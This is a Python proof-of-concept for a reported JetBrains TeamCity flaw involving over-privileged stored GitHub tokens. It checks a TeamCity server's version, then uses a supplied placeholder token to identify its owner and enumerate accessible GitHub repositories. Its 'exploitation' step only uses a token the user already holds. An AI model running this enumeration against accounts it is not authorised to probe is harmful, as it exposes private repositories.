CVE-2025-68267: JetBrains TeamCity 存储GitHub令牌权限过度漏洞

# CVE-2025-68267 PoC - JetBrains TeamCity GitHub Token权限过度 # This PoC demonstrates how TeamCity with excessive privileges can access unauthorized GitHub resources import requests import json from datetime import datetime class TeamCityExcessivePrivilegePoC: def __init__(self, teamcity_url, vulnerable_token): self.teamcity_url = teamcity_url.rstrip('/') self.token = vulnerable_token self.session = requests.Session() def check_vulnerability(self): """Check if TeamCity instance is vulnerable""" print(f"[*] Checking vulnerability status for {self.teamcity_url}") # Check TeamCity version version_url = f"{self.teamcity_url}/app/rest/server/version" try: response = self.session.get(version_url, timeout=10) if response.status_code == 200: version = response.text.strip() print(f"[+] TeamCity Version: {version}") # Check if version is before 2025.11.1 version_parts = version.split('.') if len(version_parts) >= 2: year = int(version_parts[0]) if version_parts[0].isdigit() else 0 month = int(version_parts[1]) if version_parts[1].isdigit() else 0 if year < 2025 or (year == 2025 and month < 11): print("[!] Version is potentially vulnerable") return True except Exception as e: print(f"[-] Error checking version: {e}") return False def enumerate_github_repos(self): """Enumerate GitHub repositories using excessive privileges""" print("\n[*] Attempting to enumerate GitHub repositories...") # GitHub API endpoint to list repositories api_url = "https://api.github.com/user/repos?per_page=100" headers = { "Authorization": f"Bearer {self.token}", "Accept": "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28" } try: response = requests.get(api_url, headers=headers, timeout=10) if response.status_code == 200: repos = response.json() print(f"[+] Successfully accessed {len(repos)} repositories") print("[!] This demonstrates excessive privilege - should not have access to all these repos") for repo in repos[:5]: # Show first 5 print(f" - {repo['full_name']} ({repo['visibility']})") return repos else: print(f"[-] Failed to access repos: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return None def check_token_type(self): """Check if token is Personal Access Token (should be Installation Token)""" print("\n[*] Analyzing token type...") api_url = "https://api.github.com/user" headers = { "Authorization": f"Bearer {self.token}", "Accept": "application/vnd.github+json" } try: response = requests.get(api_url, headers=headers, timeout=10) if response.status_code == 200: user_data = response.json() print(f"[+] Token belongs to user: {user_data.get('login')}") print("[!] This is a Personal Access Token (excessive privileges)") print("[!] Should be using Installation Token instead") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print("="*60) print("CVE-2025-68267 PoC - JetBrains TeamCity Excessive Privileges") print("="*60) # Configuration teamcity_url = "https://teamcity.example.com" github_token = "ghp_EXAMPLE_TOKEN" # Replace with actual token poc = TeamCityExcessivePrivilegePoC(teamcity_url, github_token) # Check vulnerability if poc.check_vulnerability(): print("\n[!] Target appears to be vulnerable to CVE-2025-68267") # Analyze token poc.check_token_type() # Attempt exploitation poc.enumerate_github_repos() else: print("\n[+] Target may not be vulnerable") if __name__ == "__main__": main()